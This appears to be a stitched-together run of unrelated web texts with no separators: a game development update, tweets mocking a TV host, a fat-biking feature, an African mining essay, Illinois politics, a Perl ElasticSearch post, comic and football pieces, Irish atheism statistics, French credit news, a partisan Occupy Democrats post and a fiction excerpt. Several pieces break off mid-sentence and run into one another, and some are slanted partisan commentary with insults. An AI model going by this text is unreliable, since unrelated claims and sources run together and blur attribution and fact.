That said, other things have progressed fantastically. The weather effects look far better than I had imagined they would, and coupled with the awesome 3d sound middleware the world has really started to come alive. The animation system, now completely rewritten, is pretty fantastic and flexible, allowing Leanne's animations to really bring out the character of the colonists.
We also have four of the core rooms ready to go into the game, doors, and lots of new plant life. Rudi has been plugging away at that solidly for a good two months.
Code-wise the game's simulations are starting to hook together behind the scenes. The electrical grid simulation is working well, as are the core components of the climate interactions. The bulk of the work now will be exposing it all to the player in a meaningful fashion.
AI is next on the agenda. I have started from scratch on a new system based on something similar to that of "The Sims" by Maxis. It is not entirely dissimilar to my previous AI, but works in a more unified fashion and allows us to give the creatures more complex needs, adding depth to the game play.
I will be releasing the 0.27 alpha next week that will showcase the features mentioned above. I haven't set a date for it yet, so keep an eye out on the forum for specific updates.
Cheers
-SimonIf your Trump Derangement Syndrome is so bad that you’re sharing stories from anime Nazi news sites you MIGHT want to take a step back and really think about what you’re doing in social media.
Take Joy Reid for example:
MSNBC's Joy Reid uses "animeright" website as a legitimate news publication Yeah this happened. pic.twitter.com/Yc6AhssJ1q Yeah this happened. https://t.co/uePECcUbIg — Nick Monroe (@nickmon1112) — Nick Monroe (@nickmon1112) July 13, 2017
Oops.
She deleted it, but lets never forget the time Joy Reid shared an article from an anime Nazi news site. She deleted it, but lets never forget the time Joy Reid shared an article from an anime Nazi news site. pic.twitter.com/XuNtaF7jQ2 — Will Hicks (@William__Hicks) — Will Hicks (@William__Hicks) July 13, 2017
Interesting that she shared it with her thousands of followers, taking the info at face value and never questioning the source. Another indication that the media is shooting itself in the foot, over and over again.
Did Did @CNN investigate where she gets her Twitter material? — Bearded Miguel (@beardedmiguel) — Bearded Miguel (@beardedmiguel) July 13, 2017
Joy Reid reads anime Nazi news sites? Hey … not judging.
And guessing no.
She did delete it, but the Internet is forever.
Here's Joy Reid promoting a Nazi anime "news" article that plenty of people were able to see before it was deleted. Here's Joy Reid promoting a Nazi anime "news" article that plenty of people were able to see before it was deleted. pic.twitter.com/VNqiyer70A — my wife traded me (@dmschwart) — my wife traded me (@dmschwart) July 13, 2017
joy reid posting nazi anime < kurt's tentacle porn very close call though — CtA (@CheerTheAnthem) — CtA (@CheerTheAnthem) July 13, 2017
Only on Twitter.
*snort*
Related:A few years ago, when mountain bikers on fat-tired bikes first ventured into the Minnesota woods, a group of guys went online to share their best tips for making the trails ridable. Despite the 4-inch-wide tires that give fat bikes their distinctive, almost cartoonlike appearance, the bikes still sink in deep snow. Opting instead for a packed trail, some of the guys said they should just send masses of volunteers outfitted with snowshoes to stomp out a path and hope fresh snow didn't fall before they got to enjoy it. Others were more — and often less — practical, suggesting a snowmobile, a motorized snowboard or even using buckets of water to create an icy path. One guy suggested some combination of blowtorch and a snowmobile.
It wasn't entirely clear if he was joking.
That was just a few winter riding seasons ago, but since then fat biking has turned a corner. Riding a crest of surging sales, bike shops report running out of the $1,600 to $4,500 bikes as ridership has grown by about 50 percent nationally each of the last two years, according to an industry presentation from Quality Bicycle Products (QBP), a major bicycle parts supplier based in Bloomington.
Some 20,000 fat bikes are in circulation in the U.S., many with tires ranging from 3.7 to 4.7 inches wide, enabling them to roll down snow-packed trails, across beaches and frozen lakes and in a surging crop of new races and organized rides designed specifically for people who want nothing more on a freezing, snowy day than to hop on a bike and go.
"It seems like everyone has a fat bike nowadays," said Reed Smidt, president of Minnesota Off-Road Cyclists (MORC), an advocacy and bike trail building group.
Smoothing the way
Buzzy LaMere, of Minneapolis, rode his fat bike on the trails at Murphy-Hanrehan Park Reserve.
If this is fat biking's moment, then the volunteer trail workers and groomers have made much of it possible.
Some 50 miles of groomed fat biking trails, known as single-track, are now offered at six parks in the metro area.
Each trail has its own grooming regimen, said Smidt. Some get groomed by machines, others by snowshoes. Some just get ridden on by other fat bikes until there's a path.
The hodgepodge of grooming methods, some of them made possible by clever hacks, gave rise to the first-of-its-kind snow grooming summit in Cable, Wis., on Jan. 10. Sponsored by MORC and QBP, the conference drew some 70 people from across the Upper Midwest to share their best tips.
"We wanted it to be like show and tell," said John Gaddo, a QBP employee who helped organize the conference. Photos from the event show a lineup of the various grooming machines people brought to show off. Unlike the 4- to 7-foot-wide grooming devices used for Nordic ski trails, fat bike groomers must be narrow enough for single-track bike trails, which are sometimes as narrow as 20 inches.
Some groomers use "rollers" that are little more than heavy cans laid on their sides and rolled down the trails. Others use "draggers" that sculpt a flattened path as they're dragged along. Providing the necessary horsepower for either method sometimes falls to a snowmobile, but the machines often can't maneuver through tight, twisting turns commonly found on single-track. So other groomers use a Rokon, an off-road motorcycle with two-wheel drive made by Rokon International of Rochester, N.H. Designed to go into the back country, it's a low-geared, low-speed motorcycle, which happens to do a good job pulling grooming devices, said Gaddo.
Gaddo said he's a fan of both rollers and draggers, rollers for their efficiency and how well they pack the snow, and draggers like the one he calls "the cheese grater" for its appearance because it keeps the snow fresh and prevents the trail from icing up.
Wide smiles on fat bikes
As a longtime bike commuter, I'd ridden in the winter before, but never on a fat bike. The big tires seemed like overkill and for the last few years I found myself watching fat bikers with something bordering on disdain. My 1961 Schwinn Typhoon rolls easily in winter over a plowed road or bike path, and pride kept me from trying anything new. And then, during a recent warm winter day, a friend encouraged me to come ride with him at Elm Creek Park Reserve on one of the winter biking trail systems maintained by the Three Rivers Park District. Another friend loaned me his beautiful fat bike made by Salsa, one of the brands owned by QBP.
We parked at a lot near the trails and rode up a plowed road for a few minutes. The tires made a satisfying sound as they rolled with sure-footed stability under the frame. The bike itself felt similar to any other mountain bike, but the tires were deflated to just 6 to 7 pounds of air pressure. It's a common tactic for fat bike riders, giving them more stability as the tire flattens out where it meets the road. We saw an opening in the trees, the beginning of the trail, and I drove straight in.
And this was where my first lesson in fat bike riding kicked in: Warm weather left the trail's shoulders soft that day. As long as I stayed in the trail's middle, the bike did fine, but winding through the woods around trees, I often strayed to the trail's edge. If I went too far, the front wheel sank and the bike came to a sudden stop.
Other times, some funny things about momentum took place, and I found myself riding a runaway bike that didn't respond to my steering. Even with the handlebars turned and the front wheel pointed toward the middle of the trail, the tire sometimes slid down the side of the hard-packed ridge left by other riders and the bike followed its own course deeper into the woods, dropping me on the trail.
Soon I realized I didn't have the skill to ride the bike in these conditions, even with a lifetime of bike riding behind me. Other riders out that day swiftly navigated the trails I struggled on. It was just the challenge of it that made me wonder: What have I been missing?
The trail improved somewhat, and so did I, and I managed to wind through a loop's worth of wintry woods before arriving back at the parking lot. I returned my friend's bike with the idea I'd go out again, once it got colder.
A week later, I borrowed a Pugsley made by Surly Bikes, another brand from QBP. It's one of the original fat tire bikes, introduced in 2004 as the first mass-produced fat tire frame, and likely the reason fat biking has taken off. On a brutally cold January day, the groomed trail at Theodore Wirth Park in Minneapolis was more ridable. Slicing |
teases.
Doctor Who - The Defectors, Doctor Who - Last of the Cybermen, and Doctor Who - The Secret History are all available to pre-order now, or can be purchased as part of either a six- or twelve-story subscription at a special price along with unique extras...One the one hand, this mineral-fueled feeding frenzy has the potential to deliver direly needed economic growth to a continent whose population is still skyrocketing.
The United Nations projects that Africa's population will nearly quadruple, from 1.1 to 4.2 billion people, by the end of this century.
Yet on the other hand, the mining boom carries massive risks for the African environment and societies. In a recent article in Conservation Letters, 'Mining and the African environment', my colleagues and I summarize some key implications of this 'African avalanche'.
Mineral wealth
Africa contains around 30% of the world's minerals - including large quantities of phosphate, platinum-group metals, gold, diamonds, chromite, cobalt, manganese and vanadium, and huge deposits of aluminum, uranium, iron ore and coal.
But with just 5% of all global mineral exploitation taking place in Africa, the potential for growth is enormous.
Africa is now attracting a stampede of foreign mining investment. China's investment in African mining quadrupled from 2000 to 2009, and now exceeds $100 billion annually.
Investments from India, Brazil, Russia, Canada and Australia are also pouring in. For example, more than 230 Australian mining companies are now involved in over 600 mining and mineral-processing projects across 42 African countries.
This tsunami of mining is creating a new optimism in Africa about economic development and poverty alleviation, but it is also occurring in a complex socioeconomic context. Africa is the poorest continent overall, lacks a skilled workforce and has significant political instability and corruption. Can African nations successfully manage this feeding frenzy?
Environmental risks
Mining projects can have both direct and indirect impacts on the environment. The direct effects are generally limited to the immediate vicinity of the project itself, and can include intense impacts on land, wildlife habitats and aquatic environments from mines, tailing dumps, roads, pollution and an influx of mining workers and migrants.
But for the environment, the indirect effects of mining can be far worse. Mining is often linked to major infrastructure projects such as roads and railways to move commodities from mines to smelters or seaports, and hydroelectric dams.
For example, in the Democratic Republic of Congo, Sicomines, a China-Congolese joint venture, is pouring $9 billion into roads, railways and other infrastructure in order to develop a massive copper mine, the Dikulwe-Mashamba concession.
In Mozambique, the Brazilian mining company Vale is investing $4.4 billion to rebuild a railway system from northern coalmines to the city of Tete.
Pandora's Box
New roads and transportation projects can promote economic growth, but they can also unleash a Pandora's Box of environmental problems.
Across the developing world, new transportation projects often promote large-scale deforestation, wildlife poaching and an influx of illegal migrants and land speculators. Local communities often suffer as well from the sudden influx of opportunistic nomads and spikes in prices for food and other goods.
The mining boom is a key driver behind 29 massive 'development corridors' that will criss-cross Sub-Saharan Africa. These corridors will bring tremendous pressures and land-use change to a continent that may lack the technical and governance capacity to manage such unprecedented environmental and social challenges:
In Gabon, the Belinga iron-ore deposit will require a 240 kilometre-long railway that will penetrate deep inside the Congo rainforest.
In Cameroon a 570-kilometre railway will link the Mbalam iron-ore mine to the Atlantic coast.
In Tanzania, a planned road to the goldfields by Lake Victoria could bisect Serengeti National Park and disrupt one of the world's greatest surviving wildlife migrations.
National parks at risk
The rush to exploit Africa's mineral wealth is also threatening many protected areas. At least five African nations have already downsized or degazetted national parks to promote mining projects.
Zambia, for instance, has downgraded 19 of its national parks to promote limestone mining, and permitted a huge copper mine in the heart of the Lower Zambezi National Park. Tanzania has downsized Selous Game Reserve for uranium mining, while Guinea has downsized its Mt Nimba World Heritage Site for iron-ore prospecting.
And this might be just the tip of the iceberg. The potential for future threats is massive given that many valuable mineral deposits in Africa are located near or within protected areas.
Dangers ahead
The mining frenzy that is now engulfing Africa presents the greatest environmental threat the continent has ever seen. There is a dire need for international engagement to help African nations to improve their capacity to
govern and regulate mining,
plan and manage rapid infrastructure expansion,
create new protected areas and safeguard those that already exist, and
use mining-offset and mitigation funds effectively to protect crucial ecosystems.
The challenge at hand could hardly be greater or more urgent. Will the mining explosion be a new dawn for African economies, or an environmental and social nightmare? No one yet knows, but the stakes for the global environment could hardly be any higher.
William Laurance is a Distinguished Research Professor and Australian Laureate at James Cook University in Cairns, Australia. He also holds the Prince Bernhard Chair in International Nature Conservation at Utrecht University, Netherlands.
See also: Edwards, David P., Sloan, Sean, Weng, Lingfei, Dirks, Paul, Sayer, Jeffrey, and Laurance, William F. 'Mining and the African environment'. Conservation Letters. pp. 1-10.
Other articles by William Laurance on The Ecologist.GOP chair urges support for same-sex marriage
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SPRINGFIELD -- Illinois Republican Party Chairman Pat Brady of St. Charles is calling GOP lawmakers asking them to support a proposal to legalize same-sex marriage, he said Wednesday.
Brady said he was making the calls as a citizen, outside of his official role with the Illinois Republican Party.
"I think it's time for people to support this," Brady said.
On the other side of an issue that could be debated by lawmakers this week, Chicago Cardinal Francis George has released a letter urging lawmakers to reject making Illinois the next state to allow same-sex marriages.
"Marriage comes to us from nature. The human species comes in two complementary sexes, male and female. Their sexual union is called marital," the letter reads. "It not only creates a place of love for two adults but also a home for loving and raising their children. It provides the biological basis for
personal identity."
A letter from 1,700 state religious leaders also was sent to every Illinois lawmaker deriding claims that the proposal wouldn't interfere with religious freedom. "The real peril: If marriage is redefined in civil law, individuals and religious organizations, regardless of deeply held beliefs, will be compelled to treat same-sex unions as the equivalent of marriage in their lives, ministries and operations," said the letter, penned by leaders of Catholic, Lutheran, Baptist, Mormon, Anglican and Islamic faiths.
Lawmakers in Springfield could begin debating the issue at a hearing as early as today. Lawmakers approved civil unions two years ago by narrow margins, so a vote on same-sex marriage could be similarly close.
Same-sex marriage and gun control are two controversial issues lawmakers might begin discussing as the Illinois Senate meets today.
The high-profile debate over teachers' and state workers' pensions isn't likely to continue until the Illinois House convenes on Sunday.
A new class of lawmakers is set to be sworn in Jan. 9, when all legislation resets. Supporters of controversial proposals of all kinds see the three dozen or so lame-duck members in Springfield as possible keys to winning approval.
The Associated Press contributed to this story.dragon_rom Profile Joined June 2010 United States 86 Posts #1 OMG ITS UP I SWEAR I JUST LOGGED IN YES YES YES ITS UP WOOT!!!!!
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1 2 3 4 5 99 100 101 NextElasticSearch version 0.12 is out today along with some nice new features.
However, the thing I'm most excited about is that ElasticSearch.pm v 0.26 is also out and has support for bulk indexing and pluggable backends, both of which add a significant performance boost.
Pluggable backends
I've factored out the parts which actually talk to the ElasticSearch server into the ElasticSearch::Transport module, which acts as a base class for ElasticSearch::Transport::HTTP (which uses LWP), ::HTTPLite (which uses, not surprisingly, HTTP::Lite) and ::Thrift, which uses the Thrift protocol
I expected Thrift to be the big winner, but it turns out that the generated code is dog-slow. However, HTTP::Lite is about 20% faster than LWP:
httplite : 63 seconds, 951 tps http : 79 seconds, 759 tps thrift : 690 seconds, 87 tps
Bulk indexing
Since version 0.11, ElasticSearch has had a bulk operation, which can take a stream of index, create and delete statements in a single request.
For instance, you could do:
$es->bulk( { index => { index => 'foo', type=>'bar', id=>1, data => { foo => 'bar' } }}, { create => { index => 'foo', type=>'bar', id=>2, data => { foo => 'bar' } }}, { delete => { index => 'foo', type=>'bar', id=>1 }} );
The number of actions you can pass in depends on how much memory you have, both on the client and the server, and how big your documents are.
I tried tranches of 1,000, 5,000 and 10,000 documents at a time, the results were very similar.
All tranches and all transports averaged about 7.5 seconds or 8,000 transactions per second! These are small documents, so I would be surprised to achieve this rate in the real world, but a 10x improvement is phenomenal.
(These benchmarks were run on my laptop with a single ElasticSearch node, over 59,950 documents ( { text => $string} ) whose string value averaged 310 characters in length and consisted of real world text, not randomly generated gibberish. )
Example script
(This is now included in the examples directory of ElasticSearch.pm)
Finally, here is a simple example script which downloads from github all of the issues open against ElasticSearch, indexes them, and provides a simple command line interface to searching for them:No one is buying Marvel’s lineup of social justice-themed comics. It’s no surprise, given that few readers want politics to be forced down their throats. Thus liberal darling Ta-Nehisi Coates and Yona Harvey’s Black Panther & The Crew is getting the axe after poor sales, just two issues after its launch. Its cancellation comes just weeks after a No one is buying Marvel’s lineup of social justice-themed comics. It’s no surprise, given that few readers want politics to be forced down their throats. Thus liberal darling Ta-Nehisi Coates and Yona Harvey’sBlack Panther & The Crewis getting the axe after poor sales, just two issues after its launch. Its cancellation comes just weeks after a Marvel VP revealed that comics with forced messages of “diversity” were responsible for the publisher’s sales slump.
Joined by Luke Cage, Manifold, Misty Knight, and Storm, the titular superhero who entered the limelight with Captain America: Civil War gathers his all-black crew of superheroes to investigate the death of a civil rights activist who died in police custody. It has echoes of Joined by Luke Cage, Manifold, Misty Knight, and Storm, the titular superhero who entered the limelight withCaptain America: Civil Wargathers his all-black crew of superheroes to investigate the death of a civil rights activist who died in police custody. It has echoes of Sandra Bland’s death
Set in a near-future Harlem-turned-police state patrolled by robotic police officers controlled by a private security contractor, the comic has every element you’d expect from a comic attempting to tell a story inspired by Black Lives Matter. The cops beat people up for no reason, too.
Naturally, the social justice superheroes take justice into their own hands and go to battle against the corrupt system, while learning about the historical figures of the Civil Rights Movement. Univision-owned entertainment vertical Gizmodo enthusiastically describes The Crew as one that “[tells a] timely [story] about real world issues, like how police brutality devastates black communities.”
Coates explained to Coates explained to The Verge that Marvel decided to kill the publication due to poor sales, and that there wouldn’t be any continuation after the current story arc ends in its sixth and final issue. The market spoke, and Marvel listened.
Christopher Priest’s original run of The Crew in 2003 performed similarly poorly, and was canceled after just seven issues. Like Coates’ new effort, Priest’s run was also made up of non-white superheroes who took on gentrification in New York City.
Gizmodo writer Charles Pulliam-Moore Gizmodo writer Charles Pulliam-Moore takes issue with Marvel’s business decision, to opine how the publisher was cancelling the only mainstream comic featuring a “majority-black” (a misnomer) cast of characters. Describing it as a “bad look” for Marvel, the writer says the publisher should have considered “more thoughtful approaches” instead of cancelling the underperforming title.
Pulliam-Moore argues that the comic book industry “needs to change in order to sustain itself and cultivate new readers,” and insists that stories like The Crew “deserve to be told,” but offers no solution for “culturally relevant” comics that just don’t sell.
Given Marvel’s failed forays into “culturally relevant” storytelling, it’s clear that any attempts to cultivate a new audience shouldn’t come at the cost of alienating existing readers.
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If there is any market at all for Black Panther & The Crew, it certainly isn’t with the social justice warriors who cry when their stories are canceled but refuse to spend any money on them.
Ian Miles Cheong is a journalist and outspoken media critic. You can reach him through social media at Ian Miles Cheong is a journalist and outspoken media critic. You can reach him through social media at @stillgray on Twitter and on FacebookOwen Coyle says it will be "a fair fight" for players to impress sufficiently to feature in his starting XI
Owen Coyle says he is "as ambitious now as the first day I started" in management after being named Ross County manager.
The 51-year-old, who has signed a two-year deal to succeed Jim McIntyre, said his relationship with chairman Roy MacGregor was an important factor.
"It was important for me that I had that relationship with the owner/chairman," he told BBC Scotland.
"When I've had that relationship at clubs, we've been really successful."
County sacked McIntyre on Monday, bringing his three-year reign to a close with the Dingwall outfit sitting third bottom of the league after seven games, a point above Partick Thistle and Kilmarnock, who they face on Saturday.
Coyle last managed Blackburn Rovers, departing in February following a turbulent eight-month spell. He has previously been in charge of St Johnstone, Burnley, Bolton and Wigan.
Before his time at Blackburn, the former Republic of Ireland striker managed in the United States with Houston Dynamo.
'A bit of a dream' for Staggies chairman
MacGregor told BBC Scotland that he felt Coyle's values and ethics "are very much in line with where the club is".
"I hope that will rub off on everyone about here and we'll rub off on him and we'll begin to see results," said the chairman.
"To think that Owen is here today is, for me, probably a bit of a dream.
Owen Coyle says his relationship with County chairman Roy MacGregor [pictured] was an important factor
"He turned down Celtic, he's managed three or four Premier League clubs in England, he's managed in Scotland.
"It's ambitious but it's ambitious for him as well because he's coming back to Scotland from a higher level to a community club and he wants to be here."
'Good core values'
As a manager, he took Burnley up to the Premier League via the play-offs in 2009.
Asked about what attracted him to the post, Coyle said: "I know the club, because I've been here as a player. And I know how much it's improved both on and off the park.
"I've been here as a manager at St Johnstone and obviously, the big thing is that I know [chairman] Roy MacGregor very well from my time here and we've always kept in touch.
"We've exchanged a message every now and again and what have you. When you've been to a club, you always take a vested interest in it. So, I've always been delighted to hear about how it's been improving.
"There have been some terrific managers and good people here as well. When Roy called me on Monday afternoon and asked whether I'd be interested in it [the job] then, of course, I thought: 'yeah, of course I would'.
Owen Coyle returned to St Johnstone with his Burnley team for a pre-season friendly in 2009
"Because, what I've said, and I'm on record as saying this, I felt that the next challenge for me, that it was important for me that I had that relationship with the owner/chairman."
Coyle will be joined in Dingwall by Sandy Stewart, who has been his assistant manager at all of his previous clubs.
"People might think that it's not the biggest club in the world but it doesn't have to be," Coyle added. "There are really good people here; there are good core values and principles that maybe a lot of big clubs don't have, but they have them in abundance here.
"And that was a big attraction for me. I'm as ambitious now as the first day I started. I want to come here and do really well for Ross County and show that we've got a good team, and have a team that is reflective of the support and the community. And I think we can do that."
Coyle seeking 'winning habit'
Coyle said he would assess the squad in the coming weeks and months, stressing that the players would given the opportunity to help the club to climb the Premiership table.
"I think there are some good players here and we need to ensure we get the best out of them," he added. "The club have lost six of their last seven games and drawn the other; we've not won at home yet in the league this season. So, those things, we'll try to change.
"Will it be difficult? Of course it will. Winning habits are good habits; when you lose then that [also] becomes a habit. So, that's what we need to do but we need to be fair and assess the squad we've got.
"It'll be a fair fight: if you're good enough then you'll play in the team and the onus is now on the players to show their quality and look to try to stay in the team."A new poll just released shows a whopping 400% increase in atheism in Ireland over the last ten years. Is Ireland giving up its traditional religious history and turning atheist instead? Last year, it was revealed that lessons about atheism would be formally added to the curriculum for Irish school children. While the majority of Irish citizens, 84 percent, still identify as Catholic, a 400% increase in those who consider themselves to be atheists is an indication of how rapid and drastic the shift toward atheism has been there in recent years.
The numbers out of Ireland reflect an overall increase in atheism in the U.S. as well. A PEW study released last year showed that atheism was on the rise, especially in young people, who have been increasingly turning away from organized religion. There were numerous studies last year that showed as education increased, so did atheism, and that atheists had higher IQs, overall, than religious people. This caused some to speculate that as people in a society gain more access to education, overall religiosity declines.
The new school curriculum in Ireland, in part, will teach children about atheism, agnosticism, and the tenets of a secular humanist society. Given the huge increase in numbers of those who consider themselves atheists, some are asking if Ireland is slowly turning atheist or if this new trend toward atheism is a temporary reaction to disillusionment with the Catholic Church. The abuse scandals over the last few years are viewed as contributing to a vast amount of people turning away from the Catholic Church in Ireland and the U.S.
The 2011 poll out of Ireland which was recently released showed enormous increases in the categories of “atheist,” “agnostic” and “no religion.” The total for all of those classifications combined was 277,237- over a quarter million people. Considering that only 4.4 million people live in the Republic of Ireland and 1.8 million live in Northern Ireland, those who fall into one of the aforementioned categories represent a significant portion of the population. The 400% increase in atheism in Ireland could perhaps be the harbinger of a gradual shift away from religion in the country overall.
Still, many Irish atheists find that not believing in God in Ireland can be challenging. In a blog post entitled The Difficulties of Being an Atheist in Ireland, writer Michael Hegarty points out that “blasphemy” is a punishable crime in Ireland, carrying with it a fine of almost $34,000. Hegarty also points out that the Catholic Church influences basically “everything” in Ireland, including government and education.
Despite these challenges, Irish atheists hold out hope that Ireland may be turning atheist; if not immediately, then over time. The 400% increase in atheism is a stunning number, especially from a country with such a long history of religiosity and problems stemming from the tension between Protestants and Catholics. Hegarty also points out a trend toward “cultural Catholicism” in which people participate in the celebrations and rituals of the Catholic Church without actually believing in a personal God, and he says this trend is also on the rise. With the numbers of those with no belief in God increasing so drastically, the changeover to an atheist majority in Ireland may eventually occur.
By: Rebecca Savastio
Irish Central
Time
Irish Examiner
Patheos
Planet Ivy
Sage Journal
PEWDanny Rose is pleased to have silenced his critics and repaid Tottenham’s faith
Tottenham left-back Danny Rose EMPICS Sport
Danny Rose is pleased to have silenced his critics and repaid Tottenham’s faith in him after becoming a key player for club and country.
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The left-back noted a number of disparaging comments from Spurs fans when he was given a five-year contract in July 2014 – but there was a far warmer response when the 26-year-old signed a new deal in September this year.
It reflects Rose’s increased importance to the Lilywhites, while he has also established himself as England’s first-choice left-back – and he is enjoying his status and the plaudits he has been receiving.
“It makes a change,” he said. “I remember what people used to say about me a few years ago. There were a lot of negative comments, even when I signed my contract before last.
“It wasn’t nice but I feel as if I’ve got a strong character. I tried not to dwell on it too much. I’ve got a great small circle around me in terms of family and close friends and they’ve helped me massively to try and turn my form around from what it was a few years ago.
“The manager has also come in, put his arm around me and given me confidence and made me feel that I could be one of the best in this league and in Europe.
“It’s nice that people do say nice things about me, but I just want to improve. I owe my manager and this club a lot for sticking with me and I feel as if I’m playing some good football at the minute, for club and country - as we all are - and I just want it to continue.”
Rose was involved in the creation of Harry Winks’ first Tottenham goal on Saturday as Spurs came from behind twice to beat West Ham 3-2 at White Hart Lane.
The victory has lifted the squad after a seven-match winless run and provided an invaluable confidence boost as the Lilywhites prepare for their critical penultimate Champions League group game against Monaco.
“It was massive, considering we hadn’t won for a while in the league,” said Rose. “To go behind twice and then come back, it’s a massive win and it sets us up nicely for a massive week for the club.
“If we don’t win [in Monaco] it looks like we’re out of the Champions League, and we’ve worked so hard for years and years to get this opportunity.
“We know if we don’t win on Tuesday we’re more or less out of the competition, so the manager will put out a strong team I’m sure and we’ll be going to win that, and then to win on Saturday against Chelsea.”
If last season’s clash at Chelsea is anything to go by then the weekend’s derby will be fiercely contested.
Nine Spurs played were booked in the infamous Battle of Stamford Bridge on May 2 as the Blues fought back from 2-0 down to grab a draw that ended Tottenham’s title challenge with two games of the season remaining.
“The feeling after the Chelsea game last season is one I never want to feel again,” said Rose. “There were people upset, crying, in the changing room after that game and it was a feeling that we never want to feel again as a club.
“I hope everyone’s learned from that and we’re going to try to push on this season. The results went for us at the weekend and it was imperative that we got the win [against West Ham].”
Unfortunately, Rose will miss the resumption of Tottenham’s rivalry with Chelsea due to suspension, having picked up his fifth yellow card of the season in the Premier League against the Hammers on Saturday after a foul on Michail Antonio.
“I’m gutted,” he said. “I was aware that I was on four bookings before we played Arsenal. I tried my best not to get booked in that game and it’s just a stupid foul that I’ve committed. Sometimes you can do tactical fouls but I’m kicking myself, it was so unnecessary.
“That [game against Chelsea] was the first fixture I looked at in the summer and I’m gutted that I’m going to miss it. But I’ll be there, either travelling with the team or in with the fans and I’ll make sure I’m there to support the guys.”
Follow me on Twitter @BenPearceSpursFrance is insisting that its triple-A credit rating is safe despite a warning from ratings agency Moody’s.
Moody’s said it could place France on negative outlook for a downgrade in the next three months if the costs for helping to bail out banks and other euro zone members overstretch its budget.
The finance ministry did acknowledge growth would probably miss its target and more belt tightening may be needed.
France is one of a shrinking number of euro zone countries with the coveted triple-A status. Out of the 17 that use the single currency just six — Austria, Finland, France, Germany, Luxembourg and the Netherlands — are considered creditworthy enough these days.
Finance Minister Francois Baroin said: “Everything is being done to maintain the rating, which is one of the best in the world, which makes France a safe investment. France has the means to address this, we are one of the leading countries in terms of public spending, so if necessary we will take steps to reduce expenditure and to meet these objectives.”
Prime Minister Francois Fillon has said next year’s budget will work even if French economic growth falls to 1.5 percent.
The budget, which aims to reduce the deficit to three percent of GDP by 2013, is currently being debated in parliament.
Recapitalising France’s banks is one issue causing the rating agencies to ponder a downgrade, but analysts said it was weak growth, not the banking sector, which posed the main threat to France’s ratings.
A negative outlook would be a sign that Moody’s could downgrade its rating on France in the next couple of years. Moody’s placed the United States’ triple-A rating on negative outlook in August.18.9k SHARES SHARE THIS STORY
The Republican party is in panic mode after revelations by the Central Intelligence Agency were made public which said the Russian government employed hackers to help Donald Trump win the presidency. Despite the overwhelming evidence the Republican leadership is putting on a bold face to interrupt the public discussion about how Trump manipulated the election, and what should be done to remedy this affront to democracy. The renowned fact checkers at Politifact are holding the feet of Trump and his staff to the fire in proving they are all trying to cover up the same lie.
Earlier today, Trump was quizzed on the subject of Russian hackers while a guest on Fox News. Chris Wallace asked Trump, “The CIA has concluded that Russia intervened in the election to help you win the presidency. Your reaction?” Trump offered his own version of events which were of pure fantasy. He said:
I think it’s ridiculous. I don’t believe it. I don’t know why. And I think it is just…they talk about all sorts of things. Every week it is something else. We had a massive land slide victory in the electoral college. The final numbers are 306 and she had a very low number. No I don’t believe that at all.
Politifact just crumpled Trump’s arguments by laying out the facts:
In fact, in early October, the director of national intelligence, representing 17 intelligence agencies, and the secretary of the Department of Homeland Security said they were confident that the Russian government had directed the email hacks of the Democratic National Committee and a top Clinton adviser. And that the intent was to “interfere with the U.S. election process.” The claim flies in the face of plain words from two of the highest ranking intelligence and security officials. We rate it False.
Trump’s own position on Russia has changed numerous times. He said he did have a relationship with Vladimir Putin, and he said he never had met him. Trump’s former campaign manager, Paul Manafort, had deep ties to Russian financial interests in deals totaling the billions of dollars. And let’s not forget Trump’s daughter was spotted on vacation with Putin’s alleged girlfriend.
The slimy Trump concluded by claiming the entire scenario is a ruse being put on by Democrats, “I think Democrats are putting it out because they suffered one of the biggest defeats in history.” And why would Democrats have suffered one of the biggest losses in history against a candidate who was the most disliked and distrusted in American history? The two scenarios do not line up logically, and the evidence against Trump is piling up to the ceiling. Soon, congressional inquiries will begin and eventually the evidence will be insurmountable that regardless of what Trump or his team says the public will have no choice but to understand and except the fact that their president obtained his office through cheating.
Politifact found the evidence shows the Russian government did indeed influence the election. No amount of jockeying or spin on political television programs will change that fact.
Watch Trump’s Fox News interview:
https://www.youtube.com/watch?v=9ND8IMjwxes
Download our NEW Occupy Democrats app for your iPhone by clicking here or for your Android by clicking here.
Add your name to millions demanding that Congress take action on the President’s crimes. IMPEACH DONALD TRUMP!Amid a litany of accusations about Uber's "bro culture," board member Arianna Huffington has been trying to help turn things around, and she's starting at the top — with CEO Travis Kalanick.
So far, her guidance appears to be having an effect: He's started meditating. Without corporate meditation rooms (yet), Kalanick dipped into an available lactation room to get a few minutes of peace and quiet, she says.
"Literally, it was an amazing moment last week when we were in the office and he said, 'I really need to go meditate in order to be in a place to make good decisions right now,'" says Huffington, speaking at the iCONIC conference in New York City on Wednesday.
"And literally [he] went into a lactation room that happened to be open, because they don't have meditation rooms yet. This is part of the change coming."
The meditation helps Kalanick, Huffington says. "Literally, Travis returned and you could see the change in the way he was and the way he could process making decisions."The price of perseverance.
Muhmughmuhmuh. The hushed babble of the spectators crests as the guards bring the prisoner into the hall.
Image: JACEY
Patron Jamis looks up at the gallery, stern, and the mutters fade.
The girl looks like all the rest of her kind, dirty and scarred, but she has the nine bands of Authority tattooed on her forehead and she stands straight, even under the weight of her chains.
Jamis clasps his hands behind his back, considering. They've had other Destructives before, but never one with the full nine. It means she is a leader and a prophet. Maybe even the leader and prophet.
He clears his throat.
“We have ways of making you talk.”
She grins. “We have ways of making you talk.” The words are sing-song.
One of the guards steps forward, truncheon raised, but the girl doesn't flinch and Jamis shakes his head, motioning the guard away.
“It will be more pleasant for everyone if you cooperate.”
She shrugs, awkward with her arms bound to the pole across her shoulders. “I am cooperating. I let you take me in.”
“You were gravely outnumbered.”
“Because I chose to be.” A quick shake of her head and the irritated quirk in her mouth relaxes. “Tell me what you want to know.”
Jamis frowns. This feels wrong. Easy. Not at all like he has anticipated.
“Well?” she asks.
“They say you can see the future.”
“Yes.”
“Yes that's what they say, or yes you can?”
She raises an eyebrow. “Yes, I can.”
The spectators take a collective breath; the noise breaks on the high curve of the ceiling like water and falls back in bits and pieces. Ahhh-ahhs-sh-shs.
“Then you must know why I have brought you here.”
“I do.” A pause. “Oh. You want me to tell you?”
“Yes, I want you to tell me.” His voice is rough with annoyance.
“You want me to tell you if you will succeed in wiping out the Destructives.”
Ahhh-ahhs-sh-shsh.
Jamis waits for the echoes to fade. “Yes.”
Another shrug. “Of course.”
His heart hammers in his chest.
“Of course?”
“You don't believe me.”
“How can you be certain of this?”
She looks at him and there is the hint of deep water in her eyes |
nik SDP-a Ivica Račan, šef Sabora je Zlatko Tomčić (HSS).
